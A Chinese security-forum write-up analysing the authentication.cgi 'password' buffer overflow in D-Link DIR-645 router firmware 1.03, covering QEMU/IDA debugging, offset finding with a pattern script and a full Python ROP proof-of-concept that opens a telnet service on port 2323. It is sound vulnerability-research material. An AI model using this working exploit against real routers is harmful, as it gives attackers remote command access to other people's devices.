安全矩阵

 找回密码
 立即注册
搜索
查看: 2320|回复: 0

D-Link DIR-645路由器溢出分析

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-9-1 19:29:15 | 显示全部楼层 |阅读模式
原文链接:D-Link DIR-645路由器溢出分析

1
漏洞介绍
该漏洞是CGI脚本在处理authentication.cgi请求,来读取POST参数中的"password"参数的值时造成的缓冲区溢出。
2
固件提取文件系统
固件下载:ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP

3
qemu+IDA调试分析
1、run_cgi.sh脚本:
  1. #!/bin/bash

  2. # 待执行命令
  3. # sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*0x600"` "uid=A21G"

  4. INPUT="$1" # 参数1,uid=A21G&password=1160个A
  5. TEST="$2"    # 参数2,uid=A21G
  6. LEN=$(echo -n "$INPUT" | wc -c)    # 参数1的长度
  7. PORT="1234"    # 监听的调试端口

  8. # 用法错误则提示
  9. if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
  10. then
  11.     echo -e "\nUsage: sudo $0 \n"
  12.     exit 1
  13. fi

  14. # 复制qemu-mipsel-static到本目录并重命名,注意是static版本
  15. cp $(which qemu-mipsel-static) ./qemu
  16. echo $TEST
  17. # | 管道符:前者输出作为后者输入
  18. # chroot 将某目录设置为根目录(逻辑上的)
  19. echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/authentication.cgi
  20. echo 'run ok'
  21. rm -f ./qemu    # 删除拷贝过来的执行文件
复制代码
2、调试目标程序需要匹配正确。


3、IDA分析,追踪问题函数

4、填充数据调试

IDA调试参考:

获得&ra在栈上的地址(这是非子叶函数的性质):

F8执行观察,直到栈上保存&ra的数据内容发送变化(可猜测这里可能时溢出点):

注意:为了防止后面可能出现二次溢出,或则其他处溢出才是真正影响被程序被控制的位置,我们继续F8执行观察。
程序异常结束了,发现时a1寄存器的值是栈上的,大概猜测一下是我们填充的值太大影响到了这位置上的值。
5、看看a1正常的内容读取:

缩短填充内容的长度,重新调试:

程序走到authenticationcgi_main的返回位置才退出:
如果需要看到更明显的步骤,可以自己找到此处再下个断点。


结论:真实溢出位置就是read()函数引起的。
6、分析read()函数上下文传入传出数据。
先到read()函数跳转处分析参数的来源与目的地:

分析方法:由于MIPS是流水线执行指令顺序,寻找参数先到函数跳转处先向下查找参数,然受再向上查找参数。

最终得到read()函数原型:read(fileno(stdin), var_430, atoi(getenv("CONTENT_LENGTH")))
7、注var_430计算大小方式,根据栈中变量的顺序去计算:

至此漏洞定位分析完,起始后面还有些危险函数可能存在危险溢出点需要验证,不过方法都无非是构造数据填充加上调试观察构造的数据位置。由于后面的函数都达不到溢出,所以就不附上步骤了。
根据漏洞描述,POST提交数据时,并不是任意格式的数据都能造成缓存区溢出,需要”id=XX&&password=XX“形式的格式。
验证分析:

程序异常退出在此处,分析:

在向上分析,发现数据最终来源与$s2相关的数据,双击进入,发现固定格式,读取后面数据为strlen服务:

更改回要求的形式获得结果:


4
漏洞利用
1、调试确定偏移
这里分享个更方便的脚本patter.pl脚本生成构造数据:
  1. #!/usr/bin/perl -w
  2. use strict;

  3. # Generate/Search Pattern (gspattern.pl) v0.2
  4. # Scripted by Wasim Halani (washal)
  5. # Visit me at https://securitythoughts.wordpress.com/
  6. # Thanks to hdm and the Metasploit team
  7. # Special thanks to Peter Van Eeckhoutte(corelanc0d3r) for his amazing Exploit Development tutorials
  8. # This script is to be used for educational purposes only.

  9. my $ustart = 65;
  10. my $uend = 90;
  11. my $lstart = 97;
  12. my $lend = 122;
  13. my $nstart = 0;
  14. my $nend = 9;
  15. my $length ;
  16. my $string = "";
  17. my ($upper, $lower, $num);
  18. my $searchflag = 0;
  19. my $searchstring;

  20. sub credits(){
  21.     print "\nGenerate/Search Pattern \n";
  22.     print "Scripted by Wasim Halani (washal)\n";
  23.     print "https://securitythoughts.wordpress.com/\n";
  24.     print "Version 0.2\n\n";
  25. }

  26. sub usage(){
  27.     credits();
  28.     print " Usage: \n";
  29.     print " gspattern.pl  \n";
  30.     print "         Will generate a string of given length. \n";
  31.     print "\n";
  32.     print " gspattern.pl   \n";
  33.     print "         Will generate a string of given length,\n";
  34.     print "         and display the offsets of pattern found.\n";
  35. }

  36. sub generate(){
  37.     credits();
  38.     $length = $ARGV[0];
  39.     #print "Generating string for length : " .$length . "\n";
  40.     if(length($string) == $length){
  41.         finish();
  42.     }
  43.     #looping for the uppercase
  44.     for($upper = $ustart; $upper <= $uend;$upper++){
  45.         $string =$string.chr($upper);
  46.         if(length($string) == $length){
  47.             finish();
  48.         }
  49.         #looping for the lowercase
  50.         for($lower = $lstart; $lower <= $lend;$lower++){
  51.             $string =$string.chr($lower);
  52.             if(length($string) == $length){
  53.                 finish();
  54.             }
  55.             #looping for the numeral
  56.             for($num = $nstart; $num <= $nend;$num++){
  57.                 $string = $string.$num;
  58.                 if(length($string) == $length){
  59.                     finish();
  60.                 }
  61.                 $string = $string.chr($upper);
  62.                 if(length($string) == $length){
  63.                     finish();
  64.                 }
  65.                 if($num != $nend){
  66.                     $string = $string.chr($lower);
  67.                 }
  68.                 if(length($string) == $length){
  69.                     finish();
  70.                 }
  71.             }
  72.         }
  73.     }
  74. }

  75. sub search(){
  76.     my $offset = index($string,$searchstring);
  77.     if($offset == -1){
  78.         print "Pattern '".$searchstring."' not found\n";
  79.         exit(1);
  80.     }
  81.     else{
  82.         print "Pattern '".$searchstring."' found at offset(s) : ";
  83.     }
  84.     my $count = $offset;
  85.     print $count." ";

  86.     while($length){
  87.         $offset = index($string,$searchstring,$offset+1);
  88.         if($offset == -1){
  89.             print "\n";
  90.             exit(1);
  91.         }
  92.         print $offset ." ";
  93.         $count = $count + $offset;
  94.     }
  95.     print "\n";
  96.     exit(1);
  97. }

  98. sub finish(){
  99.     print "String is : \n".$string ."\n\n";
  100.     if($searchflag){
  101.         search();
  102.     }
  103.     exit(1);
  104. }

  105. if(!$ARGV[0]){
  106.     usage();
  107.     #print "Going into usage..";
  108. }
  109. elsif ($ARGV[1]){
  110.     $searchflag = 1;
  111.     $searchstring = $ARGV[1];
  112.     generate();
  113.     #print "Going into pattern search...";
  114. }
  115. else {
  116.      generate();
  117.      #print "Going into string generation...";
  118. }
复制代码

2、patter.pl脚本使用方法
有两种操作模式:
只提供一个参数,即要生成的字符串的长度( ./ gspattern.pl [length of string] )
字符串的长度和要找到偏移量的模式提供(./ gspattern.pl [字符串长度] [搜索模式])
注(搜索模式):获得要计算偏移溢出位置的hex值,转化为ASCII码。(记住一定要根据大小端序来输入,下面步骤中已举例)
3、生成构造数据(我直接写入文件了,它把description也一块写入了,需要进去删除下)
  1. ./pattern.pl 1160 > test_auth
复制代码


调试确定需要的偏移位置值:
  1. sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+open('test_auth','r').read(1160)"` "uid=A21G"
复制代码


将0x38684237 转成对应ASCII码:8hB7

4、构造ROP参考:家用路由器漏洞挖掘实例分析
5、POC

  1. import sys
  2. import time
  3. import string
  4. import socket
  5. from random import Random
  6. import urllib, urllib2, httplib

  7. class MIPSPayload:
  8.     BADBYTES = [0x00]
  9.     LITTLE = "little"
  10.     BIG = "big"
  11.     FILLER = "A"
  12.     BYTES = 4

  13.     def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES):
  14.         self.libase = libase
  15.         self.shellcode = ""
  16.         self.endianess = endianess
  17.         self.badbytes = badbytes

  18.     def rand_text(self, size):
  19.         str = ''
  20.         chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
  21.         length = len(chars) - 1
  22.         random = Random()
  23.         for i in range(size):
  24.             str += chars[random.randint(0,length)]
  25.         return str

  26.     def Add(self, data):
  27.         self.shellcode += data

  28.     def Address(self, offset, base=None):
  29.         if base is None:
  30.             base = self.libase
  31.         return self.ToString(base + offset)

  32.     def AddAddress(self, offset, base=None):
  33.         self.Add(self.Address(offset, base))

  34.     def AddBuffer(self, size, byte=FILLER):
  35.         self.Add(byte * size)

  36.     def AddNops(self, size):
  37.         if self.endianess == self.LITTLE:
  38.             self.Add(self.rand_text(size))
  39.         else:
  40.             self.Add(self.rand_text(size))

  41.     def ToString(self, value, size=BYTES):
  42.         data = ""
  43.         for i in range(0, size):
  44.             data += chr((value >> (8*i)) & 0xFF)
  45.         if self.endianess != self.LITTLE:
  46.             data = data[::-1]
  47.         return data

  48.     def Build(self):
  49.         count = 0
  50.         for c in self.shellcode:
  51.             for byte in self.badbytes:
  52.                 if c == chr(byte):
  53.                     raise Exception("Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte))
  54.             count += 1
  55.         return self.shellcode

  56.     def Print(self, bpl=BYTES):
  57.         i = 0
  58.         for c in self.shellcode:
  59.             if i == 4:
  60.                 print ""
  61.                 i = 0
  62.             sys.stdout.write("\\x%.2X" % ord(c))
  63.             sys.stdout.flush()
  64.             if bpl > 0:
  65.                 i += 1
  66.         print "\n"

  67. class HTTP:
  68.     HTTP = 'http'

  69.     def __init__(self, host, proto=HTTP, verbose=False):
  70.         self.host = host
  71.         self.proto = proto
  72.         self.verbose = verbose
  73.         self.encode_params = True

  74.     def Encode(self, data):
  75.         #just for DIR645
  76.         if type(data) == dict:
  77.             pdata = []
  78.             for k in data.keys():
  79.                 pdata.append(k + '=' + data[k])
  80.             data = pdata[1] + '&' + pdata[0]
  81.         else:
  82.             data = urllib.quote_plus(data)
  83.         return data

  84.     def Send(self, uri, headers={}, data=None, response=False,encode_params=True):
  85.         html = ""
  86.         if uri.startswith('/'):
  87.             c = ''
  88.         else:
  89.             c = '/'

  90.         url = '%s://%s' % (self.proto, self.host)
  91.         uri = '/%s' % uri
  92.         if data is not None:
  93.             data = self.Encode(data)
  94.         #print data
  95.         if self.verbose:
  96.             print url
  97.         httpcli = httplib.HTTPConnection(self.host, 80, timeout=30)
  98.         httpcli.request('POST',uri,data,headers=headers)
  99.         response=httpcli.getresponse()
  100.         print response.status
  101.         print response.read()

  102. if __name__ == '__main__':
  103.     libc = 0x2aaf8000    # so动态库的加载基址
  104.     target = {
  105.         "1.03"  :   [
  106.             0x531ff,    # 伪system函数地址(只不过-1了,曲线救国,避免地址出现00截断字符
  107.             0x158c8,    # rop chain 1(将伪地址+1,得到真正的system地址,曲线救国的跳板
  108.             0x159cc,    # rop chain 2(执行system函数,传参cmd以执行命令
  109.             ],
  110.         }
  111.     v = '1.03'
  112.     cmd = 'telnetd -p 2323'        # 待执行的cmd命令:在2323端口开启telnet服务
  113.     ip = '192.168.0.1'        # 服务器IP地址//here

  114.     # 构造payload
  115.     payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])

  116.     payload.AddNops(1011)                # filler # 7. 填充1011个字节,$s0偏移为1014,129行target数组中地址只占了3,04-3=01
  117.     payload.AddAddress(target[v][0], base=libc)    # $s0
  118.     payload.AddNops(4)                            # $s1
  119.     payload.AddNops(4)                            # $s2
  120.     payload.AddNops(4)                            # $s3
  121.     payload.AddNops(4)                            # $s4
  122.     payload.AddAddress(target[v][2], base=libc)    # $s5
  123.     payload.AddNops(4)                            # unused($s6)
  124.     payload.AddNops(4)                            # unused($s7)
  125.     payload.AddNops(4)                            # unused($fp) #<<揭秘家用路由器0day漏洞挖掘技术>>这里是$gp,可能是作者笔误吧,实际验证应该是$fp,下面注释给出验证数据。
  126.     payload.AddAddress(target[v][1], base=libc)    # $ra
  127.     payload.AddNops(4)                            # fill
  128.     payload.AddNops(4)                            # fill
  129.     payload.AddNops(4)                            # fill
  130.     payload.AddNops(4)                            # fill
  131.     payload.Add(cmd)                # shellcode

  132.     # 构造http数据包
  133.     pdata = {
  134.         'uid'       :   '3Ad4',
  135.         'password'  :   'AbC' + payload.Build(),
  136.         }
  137.     header = {
  138.         'Cookie'        : 'uid='+'3Ad4',
  139.         'Accept-Encoding': 'gzip, deflate',
  140.         'Content-Type'  : 'application/x-www-form-urlencoded',
  141.         'User-Agent'    : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
  142.         }
  143.     # 发起http请求
  144.     try:
  145.         HTTP(ip).Send('authentication.cgi', data=pdata,headers=header,encode_params=False,response=True)
  146.         print '[+] execute ok'
  147.     except httplib.BadStatusLine:
  148.         print "Payload deliverd."
  149.     except Exception,e:
  150.         print "2Payload delivery failed: %s" % str(e)
复制代码

注释:栈内数据对应寄存器

5
qemu开启仿真环境
1、打开qemu系统

  1. sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic
复制代码


2、利用SCP把路由系统文件传过去,之前文章有写过,不清楚的请看参考链接。
3、开始仿真环境前准备
挂载固件文件系统中的proc目录和dev目录到chroot环境,因为proc中存储着进程所需的文件,比如pid文件等等,而dev中存储着相关的设备:
  1. mount -o bind /dev ./squashfs-root/dev
  2. mount -t proc /proc ./squashfs-root/proc/
  3. chroot ./squashfs-root/ sh
复制代码
然后进入/etc/init.d/目录下,执行./rcS(init.d文件夹下存储的是启动的时候初始化服务和环境rcS文件)启动:
然后根据报错提示去修复:

当然用别的仿真环境跑起来也都一样运行,这里我没启动成功,主要是分析漏洞整个流程。关于如何更好的仿真实现开启路由环境,欢迎大家交流。




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 17:38 , Processed in 0.015764 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表